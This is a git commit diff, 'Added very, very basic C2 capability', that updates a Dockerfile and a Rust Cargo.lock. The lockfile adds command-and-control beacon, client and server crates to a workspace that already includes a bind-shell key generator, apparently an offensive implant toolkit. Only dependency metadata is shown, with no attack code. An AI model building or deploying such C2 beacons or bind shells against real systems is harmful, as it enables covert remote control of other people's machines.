Added very, very basic C2 capability
This commit is contained in:
commit
53133debec
@ -13,9 +13,9 @@
|
|||||||
# You should have received a copy of the GNU Affero General Public License
|
# You should have received a copy of the GNU Affero General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
FROM rust:1-alpine
|
FROM rust:1.73-alpine
|
||||||
|
|
||||||
RUN apk add cmake make automake musl-dev autoconf libtool \
|
RUN apk add cmake make automake musl-dev autoconf libtool libcap \
|
||||||
flex bison linux-headers openssl-dev lldb build-base libcap-dev
|
flex bison linux-headers openssl-dev lldb build-base libcap-dev
|
||||||
|
|
||||||
RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \
|
RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \
|
||||||
|
|||||||
538
Cargo.lock
generated
538
Cargo.lock
generated
@ -71,6 +71,21 @@ dependencies = [
|
|||||||
"opaque-debug",
|
"opaque-debug",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "android-tzdata"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "android_system_properties"
|
||||||
|
version = "0.1.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ansi_term"
|
name = "ansi_term"
|
||||||
version = "0.12.1"
|
version = "0.12.1"
|
||||||
@ -148,6 +163,12 @@ dependencies = [
|
|||||||
"generic-array",
|
"generic-array",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bumpalo"
|
||||||
|
version = "3.14.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "byteorder"
|
name = "byteorder"
|
||||||
version = "1.4.3"
|
version = "1.4.3"
|
||||||
@ -178,6 +199,21 @@ version = "1.0.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "chrono"
|
||||||
|
version = "0.4.31"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38"
|
||||||
|
dependencies = [
|
||||||
|
"android-tzdata",
|
||||||
|
"iana-time-zone",
|
||||||
|
"js-sys",
|
||||||
|
"num-traits",
|
||||||
|
"serde",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cipher"
|
name = "cipher"
|
||||||
version = "0.2.5"
|
version = "0.2.5"
|
||||||
@ -222,6 +258,12 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "core-foundation-sys"
|
||||||
|
version = "0.8.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cpufeatures"
|
name = "cpufeatures"
|
||||||
version = "0.2.7"
|
version = "0.2.7"
|
||||||
@ -237,6 +279,15 @@ version = "0.2.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba"
|
checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crossbeam-utils"
|
||||||
|
version = "0.8.16"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "crypto-mac"
|
name = "crypto-mac"
|
||||||
version = "0.10.1"
|
version = "0.10.1"
|
||||||
@ -264,7 +315,7 @@ checksum = "0b9fdf9972b2bd6af2d913799d9ebc165ea4d2e65878e329d9c6b372c4491b61"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"byteorder",
|
"byteorder",
|
||||||
"digest",
|
"digest",
|
||||||
"rand_core",
|
"rand_core 0.5.1",
|
||||||
"subtle",
|
"subtle",
|
||||||
"zeroize",
|
"zeroize",
|
||||||
]
|
]
|
||||||
@ -301,7 +352,7 @@ dependencies = [
|
|||||||
"digest",
|
"digest",
|
||||||
"hex",
|
"hex",
|
||||||
"hkdf",
|
"hkdf",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
"serde",
|
"serde",
|
||||||
"sha2",
|
"sha2",
|
||||||
"thiserror",
|
"thiserror",
|
||||||
@ -326,7 +377,7 @@ checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"curve25519-dalek",
|
"curve25519-dalek",
|
||||||
"ed25519",
|
"ed25519",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_bytes",
|
"serde_bytes",
|
||||||
"sha2",
|
"sha2",
|
||||||
@ -352,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"errno-dragonfly",
|
"errno-dragonfly",
|
||||||
"libc",
|
"libc",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -395,7 +446,7 @@ name = "ex-bind-shell-key-generator"
|
|||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"ed25519-dalek",
|
"ed25519-dalek",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -534,6 +585,17 @@ dependencies = [
|
|||||||
"wasi 0.9.0+wasi-snapshot-preview1",
|
"wasi 0.9.0+wasi-snapshot-preview1",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "getrandom"
|
||||||
|
version = "0.2.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"wasi 0.11.0+wasi-snapshot-preview1",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ghash"
|
name = "ghash"
|
||||||
version = "0.3.1"
|
version = "0.3.1"
|
||||||
@ -603,12 +665,44 @@ dependencies = [
|
|||||||
"digest",
|
"digest",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone"
|
||||||
|
version = "0.1.58"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20"
|
||||||
|
dependencies = [
|
||||||
|
"android_system_properties",
|
||||||
|
"core-foundation-sys",
|
||||||
|
"iana-time-zone-haiku",
|
||||||
|
"js-sys",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone-haiku"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "itoa"
|
name = "itoa"
|
||||||
version = "1.0.6"
|
version = "1.0.6"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
|
checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "js-sys"
|
||||||
|
version = "0.3.66"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca"
|
||||||
|
dependencies = [
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "lazy_static"
|
name = "lazy_static"
|
||||||
version = "1.4.0"
|
version = "1.4.0"
|
||||||
@ -617,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "libc"
|
name = "libc"
|
||||||
version = "0.2.147"
|
version = "0.2.150"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
|
checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "linux-raw-sys"
|
name = "linux-raw-sys"
|
||||||
@ -628,12 +722,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503"
|
checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "log"
|
name = "lock_api"
|
||||||
version = "0.4.17"
|
version = "0.4.10"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
|
checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"autocfg",
|
||||||
|
"scopeguard",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.20"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
|
||||||
|
dependencies = [
|
||||||
|
"value-bag",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -653,14 +757,24 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "mio"
|
name = "mio"
|
||||||
version = "0.8.6"
|
version = "0.8.9"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9"
|
checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"libc",
|
"libc",
|
||||||
"log",
|
|
||||||
"wasi 0.11.0+wasi-snapshot-preview1",
|
"wasi 0.11.0+wasi-snapshot-preview1",
|
||||||
"windows-sys 0.45.0",
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nix"
|
||||||
|
version = "0.27.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.4.0",
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -709,6 +823,12 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.18.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "opaque-debug"
|
name = "opaque-debug"
|
||||||
version = "0.3.0"
|
version = "0.3.0"
|
||||||
@ -719,6 +839,29 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
|
|||||||
name = "packets"
|
name = "packets"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "parking_lot"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
|
||||||
|
dependencies = [
|
||||||
|
"lock_api",
|
||||||
|
"parking_lot_core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "parking_lot_core"
|
||||||
|
version = "0.9.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"redox_syscall",
|
||||||
|
"smallvec",
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "paste"
|
name = "paste"
|
||||||
version = "1.0.14"
|
version = "1.0.14"
|
||||||
@ -860,13 +1003,24 @@ version = "0.7.3"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
|
checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"getrandom",
|
"getrandom 0.1.16",
|
||||||
"libc",
|
"libc",
|
||||||
"rand_chacha",
|
"rand_chacha 0.2.2",
|
||||||
"rand_core",
|
"rand_core 0.5.1",
|
||||||
"rand_hc",
|
"rand_hc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand"
|
||||||
|
version = "0.8.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"rand_chacha 0.3.1",
|
||||||
|
"rand_core 0.6.4",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rand_chacha"
|
name = "rand_chacha"
|
||||||
version = "0.2.2"
|
version = "0.2.2"
|
||||||
@ -874,7 +1028,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
|
checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"ppv-lite86",
|
"ppv-lite86",
|
||||||
"rand_core",
|
"rand_core 0.5.1",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_chacha"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||||
|
dependencies = [
|
||||||
|
"ppv-lite86",
|
||||||
|
"rand_core 0.6.4",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -883,7 +1047,16 @@ version = "0.5.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
|
checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"getrandom",
|
"getrandom 0.1.16",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_core"
|
||||||
|
version = "0.6.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||||
|
dependencies = [
|
||||||
|
"getrandom 0.2.10",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -892,7 +1065,7 @@ version = "0.2.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
|
checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"rand_core",
|
"rand_core 0.5.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -914,6 +1087,15 @@ dependencies = [
|
|||||||
"bitflags 1.3.2",
|
"bitflags 1.3.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ringbuf"
|
||||||
|
version = "0.3.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "79abed428d1fd2a128201cec72c5f6938e2da607c6f3745f769fabea399d950a"
|
||||||
|
dependencies = [
|
||||||
|
"crossbeam-utils",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rmp"
|
name = "rmp"
|
||||||
version = "0.8.12"
|
version = "0.8.12"
|
||||||
@ -961,9 +1143,21 @@ dependencies = [
|
|||||||
"errno 0.3.3",
|
"errno 0.3.3",
|
||||||
"libc",
|
"libc",
|
||||||
"linux-raw-sys",
|
"linux-raw-sys",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ryu"
|
||||||
|
version = "1.0.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "scopeguard"
|
||||||
|
version = "1.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "semver"
|
name = "semver"
|
||||||
version = "0.9.0"
|
version = "0.9.0"
|
||||||
@ -981,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde"
|
name = "serde"
|
||||||
version = "1.0.188"
|
version = "1.0.193"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e"
|
checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"serde_derive",
|
"serde_derive",
|
||||||
]
|
]
|
||||||
@ -999,15 +1193,26 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde_derive"
|
name = "serde_derive"
|
||||||
version = "1.0.188"
|
version = "1.0.193"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2"
|
checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2 1.0.66",
|
"proc-macro2 1.0.66",
|
||||||
"quote 1.0.33",
|
"quote 1.0.33",
|
||||||
"syn 2.0.29",
|
"syn 2.0.29",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_json"
|
||||||
|
version = "1.0.108"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b"
|
||||||
|
dependencies = [
|
||||||
|
"itoa",
|
||||||
|
"ryu",
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde_repr"
|
name = "serde_repr"
|
||||||
version = "0.1.16"
|
version = "0.1.16"
|
||||||
@ -1049,15 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c"
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "simple_logger"
|
name = "simple_logger"
|
||||||
version = "4.1.0"
|
version = "4.3.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d"
|
checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"atty",
|
|
||||||
"colored",
|
"colored",
|
||||||
"log",
|
"log",
|
||||||
"time",
|
"time",
|
||||||
"windows-sys 0.42.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1070,13 +1274,19 @@ dependencies = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "socket2"
|
name = "smallvec"
|
||||||
version = "0.5.3"
|
version = "1.11.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877"
|
checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "socket2"
|
||||||
|
version = "0.5.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"libc",
|
"libc",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1088,7 +1298,7 @@ dependencies = [
|
|||||||
"ecies-ed25519",
|
"ecies-ed25519",
|
||||||
"ed25519-dalek",
|
"ed25519-dalek",
|
||||||
"libc",
|
"libc",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
"raw_tty",
|
"raw_tty",
|
||||||
"rmp-serde",
|
"rmp-serde",
|
||||||
"serde",
|
"serde",
|
||||||
@ -1104,7 +1314,7 @@ version = "0.1.0"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"ecies-ed25519",
|
"ecies-ed25519",
|
||||||
"ed25519-dalek",
|
"ed25519-dalek",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_repr",
|
"serde_repr",
|
||||||
]
|
]
|
||||||
@ -1122,13 +1332,67 @@ dependencies = [
|
|||||||
"log",
|
"log",
|
||||||
"packets",
|
"packets",
|
||||||
"pcap-sys",
|
"pcap-sys",
|
||||||
"rand",
|
"rand 0.7.3",
|
||||||
"rmp-serde",
|
"rmp-serde",
|
||||||
"serde",
|
"serde",
|
||||||
"simple_logger",
|
"simple_logger",
|
||||||
"sparse-05-common",
|
"sparse-05-common",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sparse-c2-beacon"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"catconf",
|
||||||
|
"libc",
|
||||||
|
"log",
|
||||||
|
"nl-sys",
|
||||||
|
"packets",
|
||||||
|
"pcap-sys",
|
||||||
|
"rand 0.8.5",
|
||||||
|
"ringbuf",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"simple_logger",
|
||||||
|
"sparse-c2-messages",
|
||||||
|
"tokio",
|
||||||
|
"tokio-stream",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sparse-c2-client"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"serde_json",
|
||||||
|
"sparse-c2-messages",
|
||||||
|
"structopt",
|
||||||
|
"tokio",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sparse-c2-messages"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"chrono",
|
||||||
|
"serde",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sparse-c2-server"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"chrono",
|
||||||
|
"log",
|
||||||
|
"nix",
|
||||||
|
"serde_json",
|
||||||
|
"simple_logger",
|
||||||
|
"sparse-c2-messages",
|
||||||
|
"tokio",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-protocol"
|
name = "sparse-protocol"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
@ -1206,6 +1470,23 @@ dependencies = [
|
|||||||
"unicode-ident",
|
"unicode-ident",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tcp-test"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"libc",
|
||||||
|
"log",
|
||||||
|
"nl-sys",
|
||||||
|
"packets",
|
||||||
|
"pcap-sys",
|
||||||
|
"rand 0.8.5",
|
||||||
|
"ringbuf",
|
||||||
|
"simple_logger",
|
||||||
|
"tokio",
|
||||||
|
"tokio-stream",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tempfile"
|
name = "tempfile"
|
||||||
version = "3.8.0"
|
version = "3.8.0"
|
||||||
@ -1216,7 +1497,7 @@ dependencies = [
|
|||||||
"fastrand",
|
"fastrand",
|
||||||
"redox_syscall",
|
"redox_syscall",
|
||||||
"rustix",
|
"rustix",
|
||||||
"windows-sys 0.48.0",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1279,27 +1560,28 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tokio"
|
name = "tokio"
|
||||||
version = "1.32.0"
|
version = "1.34.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9"
|
